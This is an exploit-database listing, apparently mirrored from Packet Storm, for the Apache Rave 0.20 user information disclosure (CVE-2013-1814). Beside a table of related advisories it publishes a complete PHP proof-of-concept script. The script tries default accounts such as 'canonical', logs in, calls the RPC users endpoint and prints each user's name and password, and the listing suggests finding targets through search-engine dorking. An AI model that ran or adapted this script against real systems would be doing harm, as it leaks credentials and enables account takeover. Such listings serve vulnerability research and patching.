Lucene search
K

Apache Rave 0.20 User Information Disclosure

🗓️ 07 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 355 Views

Apache Rave 0.20 exposes user information via RPC API vulnerability for exploitation.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Apache Rave 0.11 - 0.20 - User Information Disclosure Vulnerability
13 Mar 201300:00
zdt
Circl
CVE-2013-1814
29 May 201815:50
circl
CVE
CVE-2013-1814
14 Mar 201300:00
cve
Cvelist
CVE-2013-1814
14 Mar 201300:00
cvelist
d2
DSquare Exploit Pack: D2SEC_APACHE_RAVE
14 Mar 201300:55
d2
Exploit DB
Apache Rave 0.11 < 0.20 - User Information Disclosure
13 Mar 201300:00
exploitdb
exploitpack
Apache Rave 0.11 0.20 - User Information Disclosure
13 Mar 201300:00
exploitpack
Github Security Blog
Apache Rave information disclosure vulnerability
17 May 202205:07
github
Metasploit
Apache Rave User Information Disclosure
9 Jul 201319:03
metasploit
NVD
CVE-2013-1814
14 Mar 201300:55
nvd
Rows per page
=============================================================================================================================================
    | # Title     : Apache Rave 0.20 Disclosure of user information vulnerability                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://archive.apache.org/dist/rave/binaries/apache-rave-0.20-bin.tar.gz.sha                                               |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Extract user data from Apache Rave by exploiting a vulnerability in the RPC API.
    
       (Related : https://packetstorm.news/files/id/180605/ Linked CVE numbers: CVE-2013-1814 ) .
    	
    [+] save code as poc.php.
    
    [+] Set target : line 90
    
    [+] PayLoad :
    
    <?php
    
    class ApacheRaveExploit {
        private $target;
        private $port;
        private $username;
        private $password;
        private $default_accounts = [
            "canonical" => "canonical",
            "john.doe" => "john.doe",
            "jane.doe" => "jane.doe",
            "johnldap" => "johnldap",
            "four.col" => "four.col"
        ];
    
        public function __construct($target, $port = 8080, $username = "", $password = "") {
            $this->target = $target;
            $this->port = $port;
            $this->username = $username;
            $this->password = $password;
        }
    
        private function sendRequest($url, $method = "GET", $data = [], $cookie = "") {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
            if ($method === "POST") {
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            }
            if ($cookie) {
                curl_setopt($ch, CURLOPT_COOKIE, "JSESSIONID=$cookie");
            }
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        public function login($username, $password) {
            $url = "http://{$this->target}:{$this->port}/portal/j_spring_security_check";
            $response = $this->sendRequest($url, "POST", [
                "j_username" => $username,
                "j_password" => $password
            ]);
            
            preg_match('/JSESSIONID=([^;]+)/', $response, $matches);
            return $matches[1] ?? null;
        }
    
        public function discloseUsers($cookie) {
            $url = "http://{$this->target}:{$this->port}/portal/app/api/rpc/users/get?offset=0";
            $response = $this->sendRequest($url, "GET", [], $cookie);
            return json_decode($response, true);
        }
    
        public function run() {
            echo "[*] Trying to authenticate...\n";
            $cookie = $this->login($this->username, $this->password);
            
            if (!$cookie) {
                echo "[-] Failed with provided credentials, trying default accounts...\n";
                foreach ($this->default_accounts as $user => $pass) {
                    echo "[*] Trying $user...\n";
                    $cookie = $this->login($user, $pass);
                    if ($cookie) {
                        echo "[+] Logged in with $user!\n";
                        break;
                    }
                }
            }
    
            if (!$cookie) {
                echo "[-] Login failed!\n";
                return;
            }
    
            echo "[*] Fetching user data...\n";
            $users = $this->discloseUsers($cookie);
            
            if ($users && isset($users["result"]["resultSet"])) {
                foreach ($users["result"]["resultSet"] as $user) {
                    echo "[+] Found user: " . $user["username"] . " - " . $user["password"] . "\n";
                }
            } else {
                echo "[-] No users found!\n";
            }
        }
    }
    
    $exploit = new ApacheRaveExploit("target-ip", 8080, "admin", "password");
    $exploit->run();
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 24
EPSS0.83009
355